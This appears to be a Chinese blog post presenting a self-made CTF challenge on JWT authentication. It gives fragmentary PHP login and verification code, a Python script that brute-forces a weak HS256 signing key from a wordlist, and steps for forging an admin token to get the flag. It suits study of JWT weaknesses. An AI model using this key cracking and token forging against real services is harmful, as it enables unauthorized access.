请参考博客:阮一峰的网络日志
整个签名认证我变成了一个小的CTF题目,全部文件如下:
系统登录
通过登录页面输入账号密码,到服务器端进行验证,生成一个Token返回到cookie中。
2. 认证管理页面:index.php
get_token($str),$end_time,"/","localhost",false,true);
echo "悄悄告诉你,只有admin管理员才可以看327a6c4304ad5938eaf0efb6cc3e53dc.php";
}
?>
time() || isset($payload['nbf']) && $payload['nbf'] > time())
return 3; //令牌时间配置出问题
//过期时间小宇当前服务器时间验证失败
if (isset($payload['exp']) && $payload['exp'] < time())
return 4; //令牌过期
}
public function get_verify_Token($token){
$flag=self::verify_Token($token);
return $flag;
}
/***************自定义Token验证模块结束*************/
}
这里遇到一个坑,就是关于处理的字符串不是二进制字节流,导致签名与官网签名不一致。所以处理的字符最好先进行utf8-encode编码一下。
4. flag控制界面:327a6c4304ad5938eaf0efb6cc3e53dc.php
get_verify_Token($token); //输入token值进行校验
if ($flag===0 || $flag===1){
echo "请不要篡改token参数!";
exit(0);
}elseif ($flag===4){
echo "令牌已经失效,请重新登录!";
exit(0);
}elseif ($flag===3){
echo "请不要篡改令牌数据!";
exit(0);
}else{
$check=json_decode($flag,JSON_OBJECT_AS_ARRAY);
if($check['username']==="admin" && $check['status']==="1"){
echo "恭喜获得flag:".$ttctf;
echo "
现在知道JWT的作用了吗???";
exit(0);
}else{
echo "你不是管理员,我啥都不会给你看的!";
}
}
}
# -*-coding: utf-8 -*-
import jwt #导入jwt数据包
import base64
import json
import hashlib
'''
关于jwt异常:
jwt.ExpiredSignatureError 因为签名时间过期导致的解密异常
jwt.InvalidIssuerError 签发人错误
jwt.InvalidAudienceError 受众错误
jwt.InvalidIssuedAtError 签发时间错误
jwt.InvalidSignatureError 密钥错误
'''
def crack():
payload=R"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWkiLCJzdGF0dXMiOiIwIiwibmJmIjoxNTY2NjM0Nzc1LCJleHAiOjE1NjY2MzUwNzUsImlhdCI6MTU2NjYzNDc3NX0.KUZluw8hjufZEGsOG03LLUuMuyODQ_Esj3VGOOryFS8"
with open(r"................\一些字典\top100.txt","r") as fp:
for each_line in fp:
each_line=each_line.strip()
try:
flag=jwt.decode(payload,key=each_line,verify=True)
print(flag)
print(each_line)
except (jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidIssuerError,
jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): #捕获这些异常说明密钥正确,只是这个Token的结构或其他存在问题,出现异常
print("\tfind the right key"+each_line)
fp.close()
break
except jwt.exceptions.InvalidSignatureError: #出现密钥错误进入下一个密钥
pass
def sign():
head={"alg":"HS256","typ":"JWT"}
head=json.dumps(head)
payload={"iss":"PM250","iat":"1566557370","exp":"1566559170","aud":"www.hnust.fun","iti":"1","user":"admin"}
payload=json.dumps(payload)
head=base64.b64encode(head.encode("utf-8"))
payload=base64.b64encode(payload.encode("utf-8"))
tmp=head+'.'.encode("utf-8")+payload
print(jwt.encode({"user":"admin","action":"upload"},"123456"))
crack()
sign()
此处sign函数是学习pyjwt的时候写上去的,此处有一个坑就是pyjwt签名通常只签paylaod,而不是签名二者的组合。然后一个疑问就是:将上面php代码生成的签名Token放入pyjwt的签名校验函数,居然能够正常校验,骚操作,有一点不明白。
5、通过加载字典爆破弱口令签名密钥。
6、通过密钥,伪造admin管理员Token,向flag界面发起请求,成功获得flag。